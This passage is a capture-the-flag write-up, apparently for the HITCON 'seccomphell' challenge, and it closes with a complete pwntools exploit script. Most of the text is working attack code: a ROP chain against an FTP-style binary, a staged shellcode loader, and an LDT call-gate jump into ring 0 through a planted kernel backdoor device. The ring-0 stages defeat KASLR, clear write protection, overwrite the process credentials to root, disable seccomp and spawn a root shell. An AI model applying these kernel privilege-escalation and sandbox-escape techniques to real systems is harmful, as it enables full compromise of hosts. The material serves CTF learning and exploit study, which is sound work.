    //     \___________  .lm (will be ignored)
endvar user_desc

// On the next descriptor, the CPU wants type == 0 here (or you get a #GP(selector)).
// We can't achieve this without another write, but here's what the values mean.
//     base2 (base_addr[31:24]) == (ignored)
//     flags1                   == (ignored)
//     limit1 (limit[19:16])    == (ignored)
//     flags0                   == (mostly ignored, except for the type)
//     base1 (base_addr[23:16]) == (ignored)
//     base0 (base_addr[15:0])  == cs_offset[63:48]
//     limit0 (limit[15:0])     == cs_offset[47:32]

var high_desc
    // We need a placeholder so that the LDT is long enough (i.e. contains the cleared descriptor
    // above the target descriptor).
    .int TARGET_ENTRY + 2 // entry_number
    .int 0xffff           // base_addr
    .int 0xffff           // limit
    .int 0b00111000       // flags
endvar high_desc

asciz module_path, "/dev/i_am_definitely_not_backdoor"
asciz shell_path, "/bin/sh"

var shell_argv
    .quad shell_path
    .quad 0
endvar shell_argv

var module_message
    .quad LDT_BASE_ADDR + LDT_STRIDE + (TARGET_ENTRY * 8) + 5
    .byte 0b11101100
endvar module_message

.macro modify_ldt desc:req
    movl $sizeof_\desc, %edx
    leaq \desc(%rip), %rsi
    movl $0x11, %edi
    check_syscall_64 $SYS_modify_ldt, %eax // Result is zero-extended from 32 bits for weird ABI reasons.
.endm

fn _start
    // Open device
    xorl %edx, %edx
    movl $O_WRONLY, %esi
    leaq module_path(%rip), %rdi
    check_syscall_64 $SYS_open
    movl %eax, %r15d

    // "stac" in CPL3
    pushfq
    orq $(1 << 18), (%rsp)
    popfq

    // Update the LDT
    modify_ldt user_desc
    modify_ldt high_desc

    // Trigger the overwrite
    movl $sizeof_module_message, %edx
    leaq module_message(%rip), %rsi
    movl %r15d, %edi
    check_syscall_64 $SYS_write

    // Go to CPL 0
    far_ptr gate_target, TARGET_SELECTOR, 0xdead8664
    lcall *(gate_target)

    // Get a shell
    leaq shell_path(%rip), %rdi
    leaq shell_argv(%rip), %rsi
    xorl %edx, %edx
    check_syscall_64 $SYS_execve
    movq $0, %rdi
    check_syscall_64 $SYS_exit

// vim:syntax=asm:

so let's rewrite this into a python payload.

Stage 4:

trampolin = asm('int 3')

far_func = p64(0x67dead8664)

payload = bytearray(far_func+seccomp+asm(f"""
  {shc.echo("STAGE 4")}

  {shc.echo("[+] INIT\n")}

  {shc.pushstr("/dev/i_am_definitely_not_backdoor")}
  {shc.syscall(cst.SYS_open, 'rsp', cst.O_RDWR, 0)}
  cmp rax, 0
  jl FAIL

  mov rbx, rax
  {shc.echo("[+] backdoor fd: ")}
  {shc.itoa('rbx')}
  {shc.strlen('rsp')}
  {shc.syscall(cst.SYS_write, cst.STDOUT_FILENO, 'rsp', 'rcx')}

  {shc.echo("\n[+] START\n")}

  // disable SMAP
  {shc.echo("[+] 'stac' in CPL3\n")}
  pushfq
  or         QWORD PTR [rsp],0x40000
  popfq

  {shc.echo("[+] modify_ldt user\n")}
  mov        rax, 0x100001000
  push       rax
  mov        rax, 0x100000000c
  push       rax
  mov        rsi, rsp

  mov        edx,0x10
  mov        edi,0x11
  mov        eax,{cst.SYS_modify_ldt}
  syscall
  cmp rax, 0
  jl FAIL

  {shc.echo("[+] modify_ldt high\n")}

  mov        rax, 0x380000FFFF
  push       rax
  mov        rax, 0xFFFF0000000E
  push       rax
  mov        rsi, rsp

  mov        edx,0x10
  mov        edi,0x11
  mov        eax,{cst.SYS_modify_ldt}

  syscall
  cmp rax, 0
  jl FAIL

  {shc.echo("[+] write to backdoor\n")}
  {shc.pushstr('TEST')}
  mov rsi, rsp
  {shc.syscall(cst.SYS_write, 'rbx', 'rsi', 0)}
  cmp rax, 0
  jl FAIL

  {shc.echo("[+] cpy trampolin\n")}
  {shc.mmap_rwx(size=0x10000, address=TRAMPOLIN)}
  lea rsi, [rip+TRAMPOLIN]
  {shc.memcpy(TRAMPOLIN, 'rsi', TRAMPOLIN_LEN)}

  // call CALL GATE for privilige escalation
  {shc.echo("[+] go to CPL 0\n")}
  call   FWORD PTR ds:{PIVOT-0xa6b00}

  // should be root
  {shc.echo("[+] spawning shell\n")}
  {shc.sh()}

  {shc.echo("[+] END\n")}
  int 3

FAIL:
  mov rbx, rax
  neg rbx
  {shc.echo("[-] errno: ")}
  {shc.itoa('rbx')}
  {shc.strlen('rsp')}
  {shc.syscall(cst.SYS_write, cst.STDOUT_FILENO, 'rsp', 'rcx')}
  {shc.echo("\n[-] FAIL\n")}
  int 3

TRAMPOLIN:
""") + trampolin)

Stage 5.1: call gate trampolin

the trampolin stays the same as in the one_byte writeup.

Stage 5.1:

TRAMPOLIN = 0xc00000

MSR_LSTAR=0xc0000082
KASLR_WRITABLE=0xa00000
KASLR_LSTAR=0xa00010
KASRL_WRITABLE_END=0xc00000
KASLR_INIT_TASK=0x1613940
PERCPU_CURRENT=0x1fbc0

ring0 = asm('int 3')
RING0_LEN = len(ring0)

# write ring0 payload to kernel space and execute 
trampolin = asm(f"""
  cli

  // Read LSTAR to bypass KASLR
  mov ecx, {MSR_LSTAR}
  rdmsr
  shl rdx, 32
  or rdx, rax
  subq rdx, {KASLR_LSTAR}
  movq rbp, rdx

  // Disable WP
  movq r8, cr0
  andq r8, {(~(1 << 16))}
  movq cr0, r8

  // Copy stage 5.2 to the mapped kernel entry point
  movq rdi, rbp
  addq rdi, {KASLR_WRITE_TO}
  movq r15, rdi
  lea rsi, [rip+RING_0]
  mov ecx, {RING0_LEN}
  rep movsb

  // Jump there.
  jmp r15

  RING_0:
""") + ring0

TRAMPOLIN_LEN = len(trampolin)

Sandbox (Seccomp)

Finally let's try to write shellcode to disable seccomp.

Stage 5.2: ring 0 payload

For ring0 we will need to make some adjustions. The privilige escalation stays the same as in our PoC, but we will have to find some way to disable seccomp, even though we found this writeup about disabling seccomp it isn't helpfull anymore, because the x86 linux kernel changed the way seccomp works in newer version, but it gives us some important starting points: current (task_struct).

Lets first look at the task_struct, which simply includes a struct called seccomp:

include/uapi/linux/seccomp.h:

/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */
#define SECCOMP_MODE_DISABLED   0 /* seccomp is not in use. */
#define SECCOMP_MODE_STRICT 1 /* uses hard-coded filter. */
#define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */

Note: SECCOMP_MODE_DISABLED is not a valid mode to set using prctl Source Code

include/linux/sched.h:

struct seccomp {
    int mode;
    atomic_t filter_count;
    struct seccomp_filter *filter;
};

So can we just manually set the mode to SECCOMP_MODE_DISABLED ? ... no I also tried overwriting other parts in the seccomp struct, but none of this worked either. Ok let's go deeper down the rabbid hole and look at seccomp_filter

kernel/seccomp.c:

struct seccomp_filter {
    refcount_t refs;
    refcount_t users;
    bool log;
    bool wait_killable_recv;
    struct action_cache cache;
    struct seccomp_filter *prev;
    struct bpf_prog *prog;
    struct notification *notif;
    struct mutex notify_lock;
    wait_queue_head_t wqh;
}

No luck either, also manually patching the instructions bpf_prog didn't work.

Note: i didn't try messing with the flags to e.g. disable jited, so this might have worked

So what now? ... Well if we look ath the seccomp_filter struct we see a member called prev, interesting let's look at the source code for adding seccomp filters:

basically the seccomp_filters are a linked list, where as new filters replace the current root entry.

so let's first try to add a simple rules that allows everything.

#define ALLOW_PROCESS \
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)

void allow_all() {

    struct sock_filter seccomp_filter[] = {
        ALLOW_PROCESS,
    };

  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(seccomp_filter) / sizeof(struct sock_filter)),
      .filter = (struct sock_filter*)&seccomp_filter,
  };

  assert(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != -1);
  assert(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) != -1);
}

which basically creates a struct that looks like this:

00:0000│ rdx rsp 0x7fffffffe750 ◂— 1
01:0008│-018     0x7fffffffe758 —▸ 0x7fffffffe760 ◂— 0x7fff000000000006
02:0010│-010     0x7fffffffe760 ◂— 0x7fff000000000006

and add it by calling do_seccomp directly.

Well this added our rules to the top of our linked list and incremented the filter_count, but we still can't call new syscalls. This is because SECCOMP_RET_KILL_PROCESS takes precidents over SECCOMP_RET_ALLOW according to man pages.

But what we can do now is manually reduce the seccomp.filter_count to 1 and remove our previous seccomp_filter seccomp->filter_count.prev = NULL and we successfully disabled seccomp.

Stage 5.2:

PAYLOAD = 0x401000

# fake seccomp filter RETURN ALLOW
seccomp = flat(
 1, # size
 PAYLOAD+0x18, # args (ptr to rules)
 0x7fff000000000006, # rules (RETURN ALLOW)
)


PTI_SWITCH_MASK=0x1000

KASLR_WRITE_TO=0xbad000

# ffffffff810fc820 T commit_creds
COMMIT_CRED = 0xfc820

# ffffffff810fccd0 T prepare_creds
PREP_CRED = 0xfccd0

# https://elixir.bootlin.com/linux/v6.9.3/source/kernel/seccomp.c#L2046
# ffffffff81200cd0 t do_seccomp
DO_SECCOMP = 0x200cd0

SECCOMP_SET_MODE_FILTER=1

# current struct offset from gs
CURRENT=0x34940

# seccomp_filter: https://elixir.bootlin.com/linux/v6.9.3/source/kernel/seccomp.c#L22

ring0 = asm(f"""
  // Get access to per-cpu variables (current, mostly) via swapgs
  swapgs

  // Get the current page table.
  movq rbx, cr3

  // Switch to the kernel page table.
  andq rbx, {~PTI_SWITCH_MASK}
  movq cr3, rbx

  // and rdi, {~0xffffff}
  sub rdi, {KASLR_WRITE_TO +0x400000}
  and rdi, {~0xfffff}
  mov r15, rdi

  // add fake seccomp filter, allow all
  lea rax, [r15+{DO_SECCOMP}]
  mov rdi, {SECCOMP_SET_MODE_FILTER}
  xor rsi, rsi
  mov rdx, {PAYLOAD+0x8}
  call rax

  // privilige escalation
  // crpt_cred = prepare_cred();

  lea rax, [r15+{PREP_CRED}]
  call rax

  // crpt_cred.uid = 0;
  // crpt_cred.gid = 0;
  mov rdi, rax
  movq [rdi+8], 0

  // commit_creds(crpt_cred);
  lea rax, [r15+{COMMIT_CRED}]
  call rax

  // DISABLE SECCOMP

  // get current
  movq rax, qword ptr gs:[{CURRENT}]

  // current.seccomp.count = 1 (was 2, fake and init)
  mov dword ptr[rax+0xc6c], 1

  // get current.seccomp.seccomp_filter
  mov rax, qword ptr[rax+0xc70]
  // get current.seccomp.seccomp_filter->prev = NULL
  mov qword ptr[rax+0x90], 0

  // Swap back
  swapgs

  // Switch the page table back around
  orq rbx, {PTI_SWITCH_MASK}
  movq cr3, rbx

  // Build an `iret` stackframe rather than a `ret far` stack frame.
  // => %rip
  popq r8 
  // => %cs
  popq r9

  pushfq
  // Set IF in the new RFLAGS (like sti)
  orq rsp, {1 << 9}
  pushq r9
  pushq r8
  iretq

""")

Final stage: get flag

At this point everthing should be straightforward, but sadly this version worked, but had a pretty bad successrate. This is because of the calls probably reenable interrupts, as mentioned in one_byte writeup. But this exploit was good enough to get the flag.

/root/flag.txt

NOPE <3
Please get a full root shell
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣶⣆⡐⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⢿⠿⠿⠿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣿⣸⣮⢰⣄⣸⡇⠄⠀⠠⠀⠀⠀⠀⢀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣧⡗⡽⠤⠉⣹⠇⠀⠁⡄⠀⠀⡀⠀⠀⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⢴⣫⣝⣉⣽⡁⠀⠀⠀⠇⠀⠈⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠁⣲⡵⢻⣧⡎⡰⢋⣷⣤⣔⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠐⠄⠀⢀⣠⣶⣿⣿⣅⣺⣿⡋⢀⣾⣿⣿⣿⣿⣿⣿⣆⠀⠃⢀⠎⠀⠀⠀
⠀⠀⠀⠀⠀⠐⠀⠈⠂⠀⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠈⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢃⠀⠃⢈⣿⣿⣿⣿⣿⣏⢸⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣋⠝⣿⣿⣿⣿⣿⣿⣷⣄⠃⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣭⣽⣘⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⡠⠀⢸⣿⣿⣭⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⠿⠟⠀⡀⠀
⠀⠀⢈⠒⡀⠀⠀⠀⠀⠈⢛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⢀⠐⡀⠀
⣀⢠⠊⢀⠰⠀⠀⠀⠠⢀⠀⢐⡈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠠⠈⡐⠂⠐⡄⢀

Actually this wasn't the flag, we need to actually use our root shell to find the flag.

using find / -name '*flag*' 2> /dev/null we find a flag generator /root/.flag_is_not_here/.flag_is_definitely_not_here/.genflag, that we can execute the get the flag.

while (out := rl().rstrip()) != b'[+] spawning shell' :
  linfo(out.decode())

linfo(out.decode())

linfo("FINAL STAGE")

sl('echo PWND')
# sla('PWND', 'find / -name '*flag*' 2> /dev/null')
sla('PWND', '/root/.flag_is_not_here/.flag_is_definitely_not_here/.genflag')

it() # or t.interactive()

improving success rate

After the CTF concluded I talked with others that solved the challenge and realized why my successrate was so bad, it was the calls. So inspired by other peoples solution I rewrote my shellcode to have a way better successrate.

For privilige escalation we manually edit the cred struct, that is linked in current to become root (normally there are credand real_cred), but in this scenario they are the same so we simply edit the uid and gid of one to become root .

Disabling seccomp is more interesting, basically in thread_info there is an attribute called syscall_work that set's flags for e.g. enabling seccomp. So what we need to do is to unset the flag and we can now execute all syscalls. But this only works for the current work_struct, if we execve another binary seccomp get's reset.

So additionally we need to set the seccomp->mode to SECCOMP_MODE_DISABLED

Stage 5.2 (improved):

PTI_SWITCH_MASK=0x1000

# current (task_struct) offset from gs
# task_struct: https://elixir.bootlin.com/linux/v6.9.3/source/include/linux/sched.h#L748
CURRENT=0x34940

# cred: https://elixir.bootlin.com/linux/v6.9.3/source/include/linux/cred.h#L111 
CRED_OFF=0xb80
UID_OFF=8

# seccomp: https://elixir.bootlin.com/linux/v6.9.3/source/include/linux/seccomp_types.h#L22
SECCOMP_OFF=0xc68
# seccomp->mode: https://elixir.bootlin.com/linux/v6.9.3/source/include/uapi/linux/seccomp.h#L10
SECCOMP_MODE_DISABLED = 0

# thread_info: https://elixir.bootlin.com/linux/v6.9.3/source/arch/x86/include/asm/thread_info.h#L64
SYSCALL_WORK_OFF=0x8
# syscall_work: https://elixir.bootlin.com/linux/v6.9.3/source/include/linux/thread_info.h#L51
SYSCALL_WORK_SECCOMP=1

ring0 = asm(f"""

  /* PROLOGUE */

  // Get access to per-cpu variables (current, mostly) via swapgs
  swapgs

  // Get the current page table.
  movq rbx, cr3

  // Switch to the kernel page table.
  andq rbx, {~PTI_SWITCH_MASK}
  movq cr3, rbx

  // get current
  movq r15, qword ptr gs:[{CURRENT}]


  /* PRIVILIGE ESCALATION */

  // current->cred.uid = 0
  mov rax, qword ptr[r15+{CRED_OFF}]
  mov dword ptr[rax+{UID_OFF}], 0 


  /* DISABLE SECCOMP */

  // current.thread_info.seccomp_off &= ~SYSCALL_WORK_SECCOMP
  and qword ptr[r15+{SYSCALL_WORK_OFF}], {~SYSCALL_WORK_SECCOMP}

  // current.seccomp.mode = SECCOMP_MODE_DISABLED   
  mov dword ptr[r15+{SECCOMP_OFF}], {SECCOMP_MODE_DISABLED}


  /* EPILOG */

  // Swap back
  swapgs

  // Switch the page table back around
  orq rbx, {PTI_SWITCH_MASK}
  movq cr3, rbx

  // Build an `iret` stackframe rather than a `ret far` stack frame.
  // => %rip
  popq r8 
  // => %cs
  popq r9

  pushfq
  // Set IF in the new RFLAGS (like sti)
  orq rsp, {1 << 9}
  pushq r9
  pushq r8
  iretq

""")

Exploit

Flag: hitcon{if_kernel_goes_brrrr_seccomp_filter_becomes_this:https://www.youtube.com/watch?v=nTT2fNyKgUE}

exploit.py:

#!/usr/bin/env python3
from pwn import *

GDB_OFF = 0x555555554000
IP = 'seccomphell.chal.hitconctf.com' if args.REMOTE else 'localhost' 
PORT =  int(sys.argv[1]) if len(sys.argv) >= 2 else 22222

BINARY = './bins/i_am_not_backdoor.bin'
ARGS = []
ENV = {
  'SHLVL':'2', 
  'HOME':'/', 
  'TERM':'linux',
  'PWD':'/',
  'SOCAT_PID':'190',
  'SOCAT_PPID':'189',
  'SOCAT_VERSION':'1.7.3.0',
  'SOCAT_SOCKADDR':'10.0.2.15',
  'SOCAT_SOCKPORT':'22222',
  'SOCAT_PEERADDR':'10.0.2.2',
  'SOCAT_PEERPORT':'54394'
} # os.environ
GDB = f"""
set follow-fork-mode parent

# backdoor
# b * 0x4018dc

# rop start
# b * 0x401d05

# loader
hb * 0x400000

# payload
hb * 0x401000

c"""

context.binary = exe = ELF(BINARY, checksec=False)
# libc = ELF('', checksec=False)
context.aslr = True

cst = constants
shc = shellcraft

linfo = lambda x, *a: log.info(x, *a)
lwarn = lambda x, *a: log.warn(x, *a)
lerror = lambda x, *a: log.error(x, *a)
lprog = lambda x, *a: log.progress(x, *a)

byt = lambda x: x if isinstance(x, bytes) else x.encode() if isinstance(x, str) else repr(x).encode()
phex = lambda x, y='': print(y + hex(x))
lhex = lambda x, y='': linfo(y + hex(x))
pad = lambda x, s=8, v=b'\0', o='r': byt(x).ljust(s, byt(v)) if o == 'r' else byt(x).rjust(s, byt(v))
padhex = lambda x, s=None: pad(hex(x)[2:],((x.bit_length()//8)+1)*2 if s is None else s, b'0', 'l')
upad = lambda x: u64(pad(x))
tob = lambda x: bytes.fromhex(padhex(x).decode())

gelf = lambda elf=None: elf if elf else exe
srh = lambda x, elf=None: gelf(elf).search(byt(x)).__next__()
sasm = lambda x, elf=None: gelf(elf).search(asm(x), executable=True).__next__()
lsrh = lambda x: srh(x, libc)
lasm = lambda x: sasm(x, libc)

cyc = lambda x: cyclic(x)
cfd = lambda x: cyclic_find(x)
cto = lambda x: cyc(cfd(x))

t = None
gt = lambda at=None: at if at else t
sl = lambda x, t=None, *a, **kw: gt(t).sendline(byt(x), *a, **kw)
se = lambda x, t=None, *a, **kw: gt(t).send(byt(x), *a, **kw)
ss = lambda x, s, t=None, *a, **kw: sl(x, t, *a, **kw) if len(y) < s else se(x, *a, **kw)
sla = lambda x, y, t=None, *a, **kw: gt(t).sendlineafter(byt(x), byt(y), *a, **kw)
sa = lambda x, y, t=None, *a, **kw: gt(t).sendafter(byt(x), byt(y), *a, **kw)
sas = lambda x, y, s, t=None, *a, **kw: sla(x, y, t, *a, **kw) if len(y) < s else sa(x, y, *a, **kw)
ra = lambda t=None, *a, **kw: gt(t).recvall(*a, **kw)
rl = lambda t=None, *a, **kw: gt(t).recvline(*a, **kw)
rls = lambda t=None, *a, **kw: rl(t=t, *a, **kw)[:-1]
re = lambda x, t=None, *a, **kw: gt(t).recv(x, *a, **kw)
ru = lambda x, t=None, *a, **kw: gt(t).recvuntil(byt(x), *a, **kw)
it = lambda t=None, *a, **kw: gt(t).interactive(*a, **kw)
cl = lambda t=None, *a, **kw: gt(t).close(*a, **kw)


vm = None
def get_target(**kw):
  global vm

  if args.REMOTE or args.TEST:
    # context.log_level = 'debug'
    return remote(IP, PORT)

  if args.LOCAL:
    if args.GDB:
      return gdb.debug([BINARY] + ARGS, env=ENV, gdbscript=GDB, **kw)
    return process([BINARY] + ARGS, env=ENV, **kw)

  try:
    from vagd import Dogd, Qegd, Box # only load vagd if needed
  except:
    log.error("Failed to import vagd, either run locally using LOCAL or install it")
  if not vm:
    vm = Dogd(BINARY, image=Box.DOCKER_JAMMY, ex=True, fast=True)  # Docker
    # vm = Qegd(BINARY, img=Box.QEMU_JAMMY, ex=True, fast=True)  # Qemu
  if vm.is_new:
    log.info("new vagd instance") # additional setup here
  return vm.start(argv=ARGS, env=ENV, gdbscript=GDB, **kw)


t = get_target()

#############################################
# STAGE 1: ROP BACKDOOR                     #
#############################################

linfo("STAGE 1: ROP")

std = b'/dev/pts/0\0'

uname = std

passwd = b'' 

sas('220 (vsFTPd 2.3.4)', uname, 0x80)
sas('331 Please specify the password.', passwd, 0x80)

sret_gen = exe.search(asm('syscall ; ret'), executable=True)
next(sret_gen)
next(sret_gen)
SYSCALL_RET = next(sret_gen)

PIVOT = 0x4a7b00

rop = ROP(exe)
rop.raw(PIVOT+0x100) # rbp
rop.call(sasm('mov rax, rbx ; pop rbx ; ret'))
rop.raw(0x6fe1be2)
rop.rdi = 0x258 
rop.call(sasm('sub rax, rdi ; ret'))
rop.call(sasm('mov rdi, rax ; ret'))
rop.rax = cst.SYS_open 
rop.rsi = cst.O_RDWR
rop.call(SYSCALL_RET)

rop.rsi = PIVOT
# rop.rdx = 0x400
rop.call(0x0000000000428de0)

rop.call(sasm('mov rdi, rax ; ret'))
rop.call(SYSCALL_RET)
rop.call(sasm('leave ; ret'))

linfo("loader len: 0x%x", len(bytes(rop)))
assert len(bytes(rop)) <= 0x98

# input()
sas('530 Login incorrect.', bytes(rop), 0x98)


#############################################
# STAGE 2: PIVOT ROP                        #
#############################################


linfo("STAGE 2: PIVOT")

LOADER = 0x400000

pivot = ROP(exe)
pivot.raw(0x6fe1be2) # rbp

pivot.rax = cst.SYS_open
pivot.rdi = PIVOT
pivot.rsi = cst.O_RDWR
pivot.rdx = 0
pivot.call(SYSCALL_RET)

pivot.rax = cst.SYS_mprotect + 1
pivot.call(sasm('sub rax, 1 ; ret'))
pivot.rdi = LOADER
pivot.rsi = 0x5000
pivot.rdx = cst.PROT_READ | cst.PROT_WRITE | cst.PROT_EXEC
pivot.call(SYSCALL_RET)

pivot.rax = cst.SYS_write
pivot.rdi = cst.STDOUT_FILENO
pivot.rsi = PIVOT+0x10
pivot.rdx = 8
pivot.call(SYSCALL_RET)

pivot.rax = cst.SYS_read
pivot.rdi = cst.STDIN_FILENO
pivot.rsi = LOADER 
pivot.rdx = 0x1000
pivot.call(SYSCALL_RET)

pivot.call(LOADER)

pivot.exit(0)

chain = flat({
  0: std,
  0x10: b'STAGE 2',
  0x18: b'STAGE 3',
  0x20: b'FAIL',
  0x100: pivot
})

linfo("pivot len: 0x%x", len(chain))
sleep(1)

sl(chain)

#############################################
# STAGE 5.2: RING 0 PAYLOAD                 #
#############################################

# https://hxp.io/blog/99/hxp-CTF-2022-one_byte-writeup/


PTI_SWITCH_MASK=0x1000

# current (task_struct) offset from gs
# task_struct: https://elixir.bootlin.com/linux/v6.9.3/source/include/linux/sched.h#L748
CURRENT=0x34940

# cred: https://elixir.bootlin.com/linux/v6.9.3/source/include/linux/cred.h#L111 
CRED_OFF=0xb80
UID_OFF=8

# seccomp: https://elixir.bootlin.com/linux/v6.9.3/source/include/linux/seccomp_types.h#L22
SECCOMP_OFF=0xc68
# seccomp->mode: https://elixir.bootlin.com/linux/v6.9.3/source/include/uapi/linux/seccomp.h#L10
SECCOMP_MODE_DISABLED = 0

# thread_info: https://elixir.bootlin.com/linux/v6.9.3/source/arch/x86/include/asm/thread_info.h#L64
SYSCALL_WORK_OFF=0x8
# syscall_work: https://elixir.bootlin.com/linux/v6.9.3/source/include/linux/thread_info.h#L51
SYSCALL_WORK_SECCOMP=1

ring0 = asm(f"""

  /* PROLOGUE */

  // Get access to per-cpu variables (current, mostly) via swapgs
  swapgs

  // Get the current page table.
  movq rbx, cr3

  // Switch to the kernel page table.
  andq rbx, {~PTI_SWITCH_MASK}
  movq cr3, rbx

  // get current
  movq r15, qword ptr gs:[{CURRENT}]


  /* PRIVILIGE ESCALATION */

  // current->cred.uid = 0
  mov rax, qword ptr[r15+{CRED_OFF}]
  mov dword ptr[rax+{UID_OFF}], 0 


  /* DISABLE SECCOMP */

  // current.thread_info.seccomp_off &= ~SYSCALL_WORK_SECCOMP
  and qword ptr[r15+{SYSCALL_WORK_OFF}], {~SYSCALL_WORK_SECCOMP}

  // current.seccomp.mode = SECCOMP_MODE_DISABLED   
  mov dword ptr[r15+{SECCOMP_OFF}], {SECCOMP_MODE_DISABLED}


  /* EPILOG */

  // Swap back
  swapgs

  // Switch the page table back around
  orq rbx, {PTI_SWITCH_MASK}
  movq cr3, rbx

  // Build an `iret` stackframe rather than a `ret far` stack frame.
  // => %rip
  popq r8 
  // => %cs
  popq r9

  pushfq
  // Set IF in the new RFLAGS (like sti)
  orq rsp, {1 << 9}
  pushq r9
  pushq r8
  iretq

""")


#############################################
# STAGE 5.1: CALL GATE TRAMPOLIN            #
#############################################

# https://hxp.io/blog/99/hxp-CTF-2022-one_byte-writeup/

TRAMPOLIN = 0xc00000

MSR_LSTAR=0xc0000082
KASLR_WRITABLE=0xa00000
KASLR_LSTAR=0xa00010
KASRL_WRITABLE_END=0xc00000
KASLR_INIT_TASK=0x1613940
KASLR_WRITE_TO=0xbad000
PERCPU_CURRENT=0x1fbc0

RING0_LEN = len(ring0)

# write ring0 payload to kernel space and execute 
trampolin = asm(f"""
  cli

  // Read LSTAR to bypass KASLR
  mov ecx, {MSR_LSTAR}
  rdmsr
  shl rdx, 32
  or rdx, rax
  subq rdx, {KASLR_LSTAR}
  movq rbp, rdx

  // Disable WP
  movq r8, cr0
  andq r8, {(~(1 << 16))}
  movq cr0, r8

  // Copy stage 5.2 to the mapped kernel entry point
  movq rdi, rbp
  addq rdi, {KASLR_WRITE_TO}
  movq r15, rdi
  lea rsi, [rip+RING_0]
  mov ecx, {RING0_LEN}
  rep movsb

  // Jump there.
  jmp r15

  RING_0:
""") + ring0

TRAMPOLIN_LEN = len(trampolin)

#############################################
# STAGE 4: KERNEL BACKDOOR, LDT CALL GATE   #
#############################################

far_func = p64(0x67dead8664)

payload = bytearray(far_func+asm(f"""
  {shc.echo("STAGE 4")}

  {shc.echo("[+] INIT\n")}

  {shc.pushstr("/dev/i_am_definitely_not_backdoor")}
  {shc.syscall(cst.SYS_open, 'rsp', cst.O_RDWR, 0)}
  cmp rax, 0
  jl FAIL

  mov rbx, rax
  {shc.echo("[+] backdoor fd: ")}
  {shc.itoa('rbx')}
  {shc.strlen('rsp')}
  {shc.syscall(cst.SYS_write, cst.STDOUT_FILENO, 'rsp', 'rcx')}

  {shc.echo("\n[+] START\n")}

  // disable SMAP
  {shc.echo("[+] 'stac' in CPL3\n")}
  pushfq
  or         QWORD PTR [rsp],0x40000
  popfq

  {shc.echo("[+] modify_ldt user\n")}
  mov        rax, 0x100001000
  push       rax
  mov        rax, 0x100000000c
  push       rax
  mov        rsi, rsp

  {shc.syscall(cst.SYS_modify_ldt, 0x11, 'rsi', 0x10)}

  {shc.echo("[+] modify_ldt high\n")}

  mov        rax, 0x380000FFFF
  push       rax
  mov        rax, 0xFFFF0000000E
  push       rax
  mov        rsi, rsp

  {shc.syscall(cst.SYS_modify_ldt, 0x11, 'rsi', 0x10)}

  {shc.echo("[+] write to backdoor\n")}
  {shc.pushstr('TEST')}
  mov rsi, rsp
  {shc.syscall(cst.SYS_write, 'rbx', 'rsi', 0)}
  cmp rax, 0
  jl FAIL

  {shc.echo("[+] cpy trampolin\n")}
  {shc.mmap_rwx(size=0x10000, address=TRAMPOLIN)}
  lea rsi, [rip+TRAMPOLIN]
  {shc.memcpy(TRAMPOLIN, 'rsi', TRAMPOLIN_LEN)}

  // call CALL GATE for privilige escalation
  {shc.echo("[+] go to CPL 0\n")}
  call   FWORD PTR ds:{PIVOT-0xa6b00}

  // should be root
  {shc.echo("[+] spawning shell\n")}
  {shc.sh()}
  jmp FAIL


FAIL:
  mov rbx, rax
  neg rbx
  {shc.echo("[-] errno: ")}
  {shc.itoa('rbx')}
  {shc.strlen('rsp')}
  {shc.syscall(cst.SYS_write, cst.STDOUT_FILENO, 'rsp', 'rcx')}
  {shc.echo("\n[-] FAIL\n")}
  int 3

TRAMPOLIN:
""") + trampolin).ljust(0x500, asm('nop'))


#############################################
# STAGE 3: LOAD ENCODED PAYLOAD             #
#############################################

PAYLOAD = 0x401000
PAYLOAD_LEN = len(payload)

loader = bytearray(asm(f"""
  {shc.write(cst.STDOUT_FILENO, PIVOT+0x18, 7)}
  xor rbx, rbx
LOAD:
  // get two characters (one byte)
  push 0
  {shc.syscall(cst.SYS_read, cst.STDIN_FILENO, 'rsp', 2)}
  cmp rax, 2
  jl FAIL
  pop rax
  sub ah, 0x41 
  sub al, 0x41 
  shl al, 2
  shl al, 2
  shr rax, 2
  shr rax, 2
  mov BYTE PTR [rbx+{PAYLOAD}], al
  inc rbx
  cmp rbx, {PAYLOAD_LEN}
  jb LOAD

  // jmp to next stage
  mov rax, {PAYLOAD+0x8}
  jmp rax

FAIL:
  {shc.write(cst.STDOUT_FILENO, PIVOT+0x20, 5)}
  int 3
"""))

assert all(bad not in loader for bad in b"\x04\n"), "can't have certain escape chars"

# send all the code

